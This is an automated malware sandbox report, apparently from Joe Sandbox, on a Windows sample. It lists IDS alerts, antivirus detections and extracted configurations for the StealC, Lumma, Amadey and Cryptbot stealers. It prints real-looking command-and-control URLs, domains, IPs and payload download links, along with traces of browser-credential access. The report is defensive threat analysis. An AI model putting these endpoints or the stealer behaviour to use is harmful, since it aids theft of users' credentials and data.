Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:28.562931+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	57056	1.1.1.1	53	UDP
2024-11-10T19:45:42.874895+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	57859	1.1.1.1	53	UDP
2024-11-10T19:46:00.273094+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	55271	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:28.447182+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	59370	1.1.1.1	53	UDP
2024-11-10T19:45:42.764889+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	63743	1.1.1.1	53	UDP
2024-11-10T19:46:00.144488+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	56577	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:28.534149+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	63247	1.1.1.1	53	UDP
2024-11-10T19:45:42.850872+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	51188	1.1.1.1	53	UDP
2024-11-10T19:46:00.244421+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	49523	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:44:01.013905+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:44:01.007509+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:44:01.292913+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:44:02.626514+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:44:01.300287+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:40.204491+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50005	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:44:00.714512+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-10T19:45:40.144647+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50006	185.215.113.206	80	TCP
2024-11-10T19:45:56.982036+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50058	185.215.113.206	80	TCP
2024-11-10T19:46:06.777713+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50063	185.215.113.206	80	TCP
2024-11-10T19:46:24.197621+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50077	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:05.444498+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49815	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:17.792013+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49826	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:08.739973+0100	2803305	3	Unknown Traffic	192.168.2.4	49832	31.41.244.11	80	TCP
2024-11-10T19:45:19.629176+0100	2803305	3	Unknown Traffic	192.168.2.4	49891	185.215.113.16	80	TCP
2024-11-10T19:45:30.210508+0100	2803305	3	Unknown Traffic	192.168.2.4	49950	185.215.113.16	80	TCP
2024-11-10T19:45:45.605346+0100	2803305	3	Unknown Traffic	192.168.2.4	50040	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:44:03.150193+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-10T19:44:17.531513+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:19.168138+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:20.299925+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:21.122946+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:23.043340+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:23.561873+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:27.350293+0100	2803304	3	Unknown Traffic	192.168.2.4	49762	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:43.111585+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50026	188.114.97.3	443	TCP
2024-11-10T19:46:00.224343+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50060	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://navygenerayk.store/a	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/apiC#l	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/q	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exeeC	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpation	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store:443/api=	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/y	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/i	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phprowser	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/O	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/kk	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/api0	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/)	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpL$	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllz	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/mf	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/E=_	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/r$T	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/apiG$h	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll%A	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe5062coded#4	Avira URL Cloud: Label: phishing
Source: https://thumbystriw.store/	Avira URL Cloud: Label: phishing
Source: https://navygenerayk.store/apik	Avira URL Cloud: Label: malware
Source: http://fvteja5sb.top/v1/upload.php	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/apiq	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exe:J&	Avira URL Cloud: Label: phishing
Source: http://home.fvteja5sb.top/OuonWYxAVjorkgXdRtho17	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpd	Avira URL Cloud: Label: malware
Source: http://home.fvteja5sb.top/OuonWYxAVjorkgXdRtho1731126585	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exes6	Avira URL Cloud: Label: phishing
Source: home.fvteja5sb.top	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpj	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/~1	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000A.00000002.2121304688.00000000001F1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 20.2.e41fd24755.exe.110000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["fadehairucw.store", "crisiwarny.store", "founpiuer.store", "navygenerayk.store", "presticitpo.store", "necklacedmny.store", "scriptyprefej.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}
Source: file.exe.7300.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: 923e9bc10d.exe.7768.12.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["QUERY\|rd\|AAAA\|IN\|home.fvteja5sb.top", "0/80/home.fvteja5sb.top", "home.fvteja5sb.top", "fvteja5sb.top", "QUERY\|rd\|A\|IN\|home.fvteja5sb.top"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Joe Sandbox ML: detected
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: scriptyprefej.store
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: navygenerayk.store
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: founpiuer.store
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: necklacedmny.store
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: thumbystriw.store
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: fadehairucw.store
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: crisiwarny.store
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: presticitpo.store
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: presticitpo.store
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: - Screen Resoluton:
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: Workgroup: -
Source: 20.2.e41fd24755.exe.110000.0.unpack	String decryptor: 4SD0y4--legendaryy

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C74A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C744440 PK11_PrivDecrypt,	0_2_6C744440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C714420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C714420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7444C0 PK11_PubEncrypt,	0_2_6C7444C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7925B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C7925B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C728670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C74A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C72E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C76A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C770180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C770180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7443B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C7443B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C767C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C767C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C727D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C727D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C76BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C769EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C769EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C743FF0 PK11_PrivDecryptPKCS1,	0_2_6C743FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C743850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C743850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C749840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C749840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C76DA40

Source: 923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_1391386e-a

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50062 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2072443215.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 46218a4a07.exe, 00000013.00000003.2854082378.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, 46218a4a07.exe, 00000013.00000002.2922733115.00000000002E2000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2072443215.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe

Directory queried: number of queries: 1647

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49815 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49826
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49886 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:59370 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:59332 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:57530 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:63247 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:57056 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.4:60853 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.4:57273 -> 1.1.1.1:53
